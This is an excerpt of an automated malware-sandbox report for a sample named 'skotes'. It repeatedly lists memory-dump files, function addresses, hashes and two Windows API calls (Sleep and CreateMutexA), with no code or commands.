Associated: 00000002.00000002.1783668079.0000000000E56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783692746.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783716826.0000000000E6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783738588.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783764751.0000000000E71000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783787888.0000000000E73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783814321.0000000000E80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783837074.0000000000E81000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 44af20d14b7d2200ac3fa81b00fb73397aae2bc0d2af3336d673fc8d4b82043a
Instruction ID: e402edb3f6758ec8cf98865e565fa87cfe21737b707ec6ad5e7f1251134e14b5
Opcode Fuzzy Hash: 44af20d14b7d2200ac3fa81b00fb73397aae2bc0d2af3336d673fc8d4b82043a
Instruction Fuzzy Hash: 1D313B316041049BEB18AB78DC9576DB7E2EBC6310F24C6A9E02CDB3D5D735A980C752

Function 00B7A079 Relevance: 3.1, APIs: 2, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00B7A963
CreateMutexA.KERNELBASE(00000000,00000000,00BD3254), ref: 00B7A981

Memory Dump Source

Source File: 00000002.00000002.1782523187.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000002.00000002.1782494384.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782523187.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782617876.0000000000BD9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782639343.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782660147.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782682518.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782703230.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782800896.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782823431.0000000000D3D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782858566.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782880915.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782906675.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782906675.0000000000D5E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782957213.0000000000D6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782980924.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783015660.0000000000D7B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783039880.0000000000D7C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783069304.0000000000D90000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783090791.0000000000D92000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783115125.0000000000D9A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783143886.0000000000DA7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783167634.0000000000DA8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783191465.0000000000DA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783265769.0000000000DBB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783293021.0000000000DC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783317671.0000000000DCA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783340016.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783363276.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783389321.0000000000DD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783412208.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783434522.0000000000DEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783457284.0000000000DF4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783484026.0000000000DF5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783507403.0000000000DFD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783530009.0000000000E00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783555831.0000000000E10000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783579002.0000000000E13000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783579002.0000000000E3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783645404.0000000000E55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783668079.0000000000E56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783692746.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783716826.0000000000E6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783738588.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783764751.0000000000E71000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783787888.0000000000E73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783814321.0000000000E80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783837074.0000000000E81000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 89eec3e9283b41942a0c9aff9b34a4715c3e87e850bf3fb622c29d4c9ac40081
Instruction ID: 0811744585c95675b1eaf580b2e45e953dbc288e239a578a075e648a78b3794a
Opcode Fuzzy Hash: 89eec3e9283b41942a0c9aff9b34a4715c3e87e850bf3fb622c29d4c9ac40081
Instruction Fuzzy Hash: CB312A316141049BEB489B78DCC576DB7E2DBC6314F24C6A9E02CE77D5D7369980C712

Function 00B7A1AE Relevance: 3.1, APIs: 2, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00B7A963
CreateMutexA.KERNELBASE(00000000,00000000,00BD3254), ref: 00B7A981

Memory Dump Source

Source File: 00000002.00000002.1782523187.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000002.00000002.1782494384.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782523187.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782617876.0000000000BD9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782639343.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782660147.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782682518.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782703230.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782800896.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782823431.0000000000D3D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782858566.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782880915.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782906675.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782906675.0000000000D5E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782957213.0000000000D6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782980924.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783015660.0000000000D7B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783039880.0000000000D7C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783069304.0000000000D90000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783090791.0000000000D92000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783115125.0000000000D9A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783143886.0000000000DA7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783167634.0000000000DA8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783191465.0000000000DA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783265769.0000000000DBB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783293021.0000000000DC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783317671.0000000000DCA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783340016.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783363276.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783389321.0000000000DD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783412208.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783434522.0000000000DEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783457284.0000000000DF4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783484026.0000000000DF5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783507403.0000000000DFD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783530009.0000000000E00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783555831.0000000000E10000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783579002.0000000000E13000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783579002.0000000000E3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783645404.0000000000E55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783668079.0000000000E56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783692746.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783716826.0000000000E6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783738588.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783764751.0000000000E71000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783787888.0000000000E73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783814321.0000000000E80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783837074.0000000000E81000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 7a83056f1db68cf6ac0deaface2fe4cb709ddd824884c9ca7b78bcfbc5191627
Instruction ID: 63d941035cfe0b9db549682c1d679518eb7857ac8844649f63a0cfbba9cd834a
Opcode Fuzzy Hash: 7a83056f1db68cf6ac0deaface2fe4cb709ddd824884c9ca7b78bcfbc5191627
Instruction Fuzzy Hash: A8312A31A041049BFB48AB78DCC975DBBE2EBC6310F2482A9E028A73D2D7359980C712

Function 00B7A418 Relevance: 3.1, APIs: 2, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00B7A963
CreateMutexA.KERNELBASE(00000000,00000000,00BD3254), ref: 00B7A981

Memory Dump Source

Source File: 00000002.00000002.1782523187.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000002.00000002.1782494384.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782523187.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782617876.0000000000BD9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782639343.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782660147.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782682518.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782703230.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782800896.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782823431.0000000000D3D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782858566.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782880915.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782906675.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782906675.0000000000D5E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782957213.0000000000D6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782980924.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783015660.0000000000D7B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783039880.0000000000D7C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783069304.0000000000D90000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783090791.0000000000D92000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783115125.0000000000D9A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783143886.0000000000DA7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783167634.0000000000DA8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783191465.0000000000DA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783265769.0000000000DBB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783293021.0000000000DC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783317671.0000000000DCA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783340016.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783363276.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783389321.0000000000DD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783412208.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783434522.0000000000DEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783457284.0000000000DF4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783484026.0000000000DF5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783507403.0000000000DFD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783530009.0000000000E00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783555831.0000000000E10000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783579002.0000000000E13000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783579002.0000000000E3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783645404.0000000000E55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783668079.0000000000E56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783692746.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783716826.0000000000E6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783738588.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783764751.0000000000E71000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783787888.0000000000E73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783814321.0000000000E80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783837074.0000000000E81000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 20e8ef536ac48a51dea398ecee2f112fa3d842e730bf9872dc8161996c36f75d
Instruction ID: f895c76e283406badc229bed02aa1e172df8bfca611a90bfe4d6bf254bf1e202
Opcode Fuzzy Hash: 20e8ef536ac48a51dea398ecee2f112fa3d842e730bf9872dc8161996c36f75d
Instruction Fuzzy Hash: AC314E316041049BEB18AB78DCC9B6DB7E2EFC6324F24C299E068D73D5E77699808753

Function 00B7A54D Relevance: 3.1, APIs: 2, Instructions: 132
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00B7A963
CreateMutexA.KERNELBASE(00000000,00000000,00BD3254), ref: 00B7A981

Memory Dump Source

Source File: 00000002.00000002.1782523187.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000002.00000002.1782494384.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782523187.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782617876.0000000000BD9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782639343.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782660147.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782682518.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782703230.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782800896.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782823431.0000000000D3D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782858566.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782880915.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782906675.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782906675.0000000000D5E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782957213.0000000000D6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782980924.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783015660.0000000000D7B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783039880.0000000000D7C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783069304.0000000000D90000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783090791.0000000000D92000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783115125.0000000000D9A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783143886.0000000000DA7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783167634.0000000000DA8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783191465.0000000000DA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783265769.0000000000DBB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783293021.0000000000DC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783317671.0000000000DCA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783340016.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783363276.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783389321.0000000000DD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783412208.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783434522.0000000000DEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783457284.0000000000DF4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783484026.0000000000DF5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783507403.0000000000DFD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783530009.0000000000E00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783555831.0000000000E10000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783579002.0000000000E13000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783579002.0000000000E3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783645404.0000000000E55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783668079.0000000000E56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783692746.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783716826.0000000000E6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783738588.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783764751.0000000000E71000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783787888.0000000000E73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783814321.0000000000E80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783837074.0000000000E81000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 69e0bc22bd7e432c1f82cc71ad8700ff8723235620a564b7f9d414f7a17bdf9a
Instruction ID: 12afb3e8c800cc45915f246af77fc59ee37b2d049b6f7db13b68c4ed23b79821
Opcode Fuzzy Hash: 69e0bc22bd7e432c1f82cc71ad8700ff8723235620a564b7f9d414f7a17bdf9a
Instruction Fuzzy Hash: 88312C316041049BEB48DB78DCC576DB7E2EBC6724F24C299E068D72D1D7359980D712

Function 00B7A682 Relevance: 3.1, APIs: 2, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00B7A963
CreateMutexA.KERNELBASE(00000000,00000000,00BD3254), ref: 00B7A981

Memory Dump Source

Source File: 00000002.00000002.1782523187.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000002.00000002.1782494384.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782523187.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782617876.0000000000BD9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782639343.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782660147.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782682518.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782703230.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782800896.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782823431.0000000000D3D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782858566.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782880915.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782906675.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782906675.0000000000D5E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782957213.0000000000D6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1782980924.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783015660.0000000000D7B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783039880.0000000000D7C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783069304.0000000000D90000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783090791.0000000000D92000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783115125.0000000000D9A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783143886.0000000000DA7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783167634.0000000000DA8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783191465.0000000000DA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783265769.0000000000DBB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783293021.0000000000DC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783317671.0000000000DCA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783340016.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783363276.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783389321.0000000000DD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783412208.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783434522.0000000000DEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783457284.0000000000DF4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783484026.0000000000DF5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783507403.0000000000DFD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783530009.0000000000E00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783555831.0000000000E10000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783579002.0000000000E13000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783579002.0000000000E3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783645404.0000000000E55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783668079.0000000000E56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783692746.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783716826.0000000000E6B000.00000040.00000001.01000000.00000007.sdmpDownload File
